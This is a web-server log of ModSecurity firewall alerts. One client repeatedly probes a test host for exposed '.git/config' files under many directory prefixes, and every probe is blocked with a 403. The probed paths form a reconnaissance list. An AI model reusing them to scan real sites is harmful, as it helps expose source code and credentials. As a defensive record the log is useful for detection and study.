[Mon Mar 25 22:18:15.828646 2024] [:error] [pid 2025392] [client 91.215.85.29:54156] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZgHqF9PKUCI6d3b2VZCJSAAAAAM&quot;]
[Mon Mar 25 22:18:15.865815 2024] [:error] [pid 2025390] [client 91.215.85.29:54172] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /git/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/git/.git/config&quot;] [unique_id &quot;ZgHqF4IuwaJZiPZ1lzKBIgAAAAE&quot;]
[Mon Mar 25 22:18:15.866213 2024] [:error] [pid 2025390] [client 91.215.85.29:54172] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/git/.git/config&quot;] [unique_id &quot;ZgHqF4IuwaJZiPZ1lzKBIgAAAAE&quot;]
[Mon Mar 25 22:18:15.866599 2024] [:error] [pid 2025390] [client 91.215.85.29:54172] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/git/.git/config&quot;] [unique_id &quot;ZgHqF4IuwaJZiPZ1lzKBIgAAAAE&quot;]
[Mon Mar 25 22:18:15.869094 2024] [:error] [pid 2025394] [client 91.215.85.29:54198] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /live/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/live/.git/config&quot;] [unique_id &quot;ZgHqF9BOsPOWY3hOfBgwzwAAAAU&quot;]
[Mon Mar 25 22:18:15.869489 2024] [:error] [pid 2025394] [client 91.215.85.29:54198] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/live/.git/config&quot;] [unique_id &quot;ZgHqF9BOsPOWY3hOfBgwzwAAAAU&quot;]
[Mon Mar 25 22:18:15.869833 2024] [:error] [pid 2025394] [client 91.215.85.29:54198] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/live/.git/config&quot;] [unique_id &quot;ZgHqF9BOsPOWY3hOfBgwzwAAAAU&quot;]
[Mon Mar 25 22:18:15.872377 2024] [:error] [pid 2025393] [client 91.215.85.29:54206] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /__macosx/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/__MACOSX/.git/config&quot;] [unique_id &quot;ZgHqF0xqzvAhw1tF-y09WwAAAAQ&quot;]
[Mon Mar 25 22:18:15.872951 2024] [:error] [pid 2025393] [client 91.215.85.29:54206] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/__MACOSX/.git/config&quot;] [unique_id &quot;ZgHqF0xqzvAhw1tF-y09WwAAAAQ&quot;]
[Mon Mar 25 22:18:15.873363 2024] [:error] [pid 2025393] [client 91.215.85.29:54206] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/__MACOSX/.git/config&quot;] [unique_id &quot;ZgHqF0xqzvAhw1tF-y09WwAAAAQ&quot;]
[Mon Mar 25 22:18:15.876815 2024] [:error] [pid 2027220] [client 91.215.85.29:54188] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /includes/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.git/config&quot;] [unique_id &quot;ZgHqFxEDTPsfUVS202YOAAAAAAY&quot;]
[Mon Mar 25 22:18:15.877301 2024] [:error] [pid 2027220] [client 91.215.85.29:54188] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.git/config&quot;] [unique_id &quot;ZgHqFxEDTPsfUVS202YOAAAAAAY&quot;]
[Mon Mar 25 22:18:15.877686 2024] [:error] [pid 2027220] [client 91.215.85.29:54188] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.git/config&quot;] [unique_id &quot;ZgHqFxEDTPsfUVS202YOAAAAAAY&quot;]
[Mon Mar 25 22:18:15.903711 2024] [:error] [pid 2025391] [client 91.215.85.29:54214] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /new/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.git/config&quot;] [unique_id &quot;ZgHqFw7yBQMRBVFeIK9tGAAAAAI&quot;]
[Mon Mar 25 22:18:15.904262 2024] [:error] [pid 2025391] [client 91.215.85.29:54214] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.git/config&quot;] [unique_id &quot;ZgHqFw7yBQMRBVFeIK9tGAAAAAI&quot;]
[Mon Mar 25 22:18:15.904643 2024] [:error] [pid 2025391] [client 91.215.85.29:54214] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.git/config&quot;] [unique_id &quot;ZgHqFw7yBQMRBVFeIK9tGAAAAAI&quot;]
[Mon Mar 25 22:18:15.906017 2024] [:error] [pid 2025389] [client 91.215.85.29:54210] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /m/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/m/.git/config&quot;] [unique_id &quot;ZgHqF7UhH0n0eKl87GcSWQAAAAA&quot;]
[Mon Mar 25 22:18:15.906388 2024] [:error] [pid 2025389] [client 91.215.85.29:54210] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/m/.git/config&quot;] [unique_id &quot;ZgHqF7UhH0n0eKl87GcSWQAAAAA&quot;]
[Mon Mar 25 22:18:15.906698 2024] [:error] [pid 2025389] [client 91.215.85.29:54210] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/m/.git/config&quot;] [unique_id &quot;ZgHqF7UhH0n0eKl87GcSWQAAAAA&quot;]
[Mon Mar 25 22:18:15.920824 2024] [:error] [pid 2028694] [client 91.215.85.29:54230] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /node_modules/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.git/config&quot;] [unique_id &quot;ZgHqF-CYinOrL-HIbyGCJAAAAAk&quot;]
[Mon Mar 25 22:18:15.920927 2024] [:error] [pid 2027224] [client 91.215.85.29:54236] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /old-cuburn/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old-cuburn/.git/config&quot;] [unique_id &quot;ZgHqF5LtBkaAwWmXXFxMhAAAAAc&quot;]
[Mon Mar 25 22:18:15.921111 2024] [:error] [pid 2028694] [client 91.215.85.29:54230] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.git/config&quot;] [unique_id &quot;ZgHqF-CYinOrL-HIbyGCJAAAAAk&quot;]
[Mon Mar 25 22:18:15.921314 2024] [:error] [pid 2028694] [client 91.215.85.29:54230] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.git/config&quot;] [unique_id &quot;ZgHqF-CYinOrL-HIbyGCJAAAAAk&quot;]
[Mon Mar 25 22:18:15.921474 2024] [:error] [pid 2027224] [client 91.215.85.29:54236] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old-cuburn/.git/config&quot;] [unique_id &quot;ZgHqF5LtBkaAwWmXXFxMhAAAAAc&quot;]
[Mon Mar 25 22:18:15.921884 2024] [:error] [pid 2027224] [client 91.215.85.29:54236] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old-cuburn/.git/config&quot;] [unique_id &quot;ZgHqF5LtBkaAwWmXXFxMhAAAAAc&quot;]
[Mon Mar 25 22:18:15.923354 2024] [:error] [pid 2027228] [client 91.215.85.29:54254] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /qa/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/qa/.git/config&quot;] [unique_id &quot;ZgHqF4D7xpu1aVB_6ANFpgAAAAg&quot;]
[Mon Mar 25 22:18:15.923609 2024] [:error] [pid 2027228] [client 91.215.85.29:54254] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/qa/.git/config&quot;] [unique_id &quot;ZgHqF4D7xpu1aVB_6ANFpgAAAAg&quot;]
[Mon Mar 25 22:18:15.923830 2024] [:error] [pid 2027228] [client 91.215.85.29:54254] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/qa/.git/config&quot;] [unique_id &quot;ZgHqF4D7xpu1aVB_6ANFpgAAAAg&quot;]
[Mon Mar 25 22:18:15.930163 2024] [:error] [pid 2025392] [client 91.215.85.29:54276] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /repository/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repository/.git/config&quot;] [unique_id &quot;ZgHqF9PKUCI6d3b2VZCJSQAAAAM&quot;]
[Mon Mar 25 22:18:15.930629 2024] [:error] [pid 2025392] [client 91.215.85.29:54276] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repository/.git/config&quot;] [unique_id &quot;ZgHqF9PKUCI6d3b2VZCJSQAAAAM&quot;]
[Mon Mar 25 22:18:15.930857 2024] [:error] [pid 2025392] [client 91.215.85.29:54276] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repository/.git/config&quot;] [unique_id &quot;ZgHqF9PKUCI6d3b2VZCJSQAAAAM&quot;]
[Mon Mar 25 22:18:15.965908 2024] [:error] [pid 2025394] [client 91.215.85.29:54292] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /samples/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/.git/config&quot;] [unique_id &quot;ZgHqF9BOsPOWY3hOfBgw0AAAAAU&quot;]
[Mon Mar 25 22:18:15.966422 2024] [:error] [pid 2025394] [client 91.215.85.29:54292] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/.git/config&quot;] [unique_id &quot;ZgHqF9BOsPOWY3hOfBgw0AAAAAU&quot;]
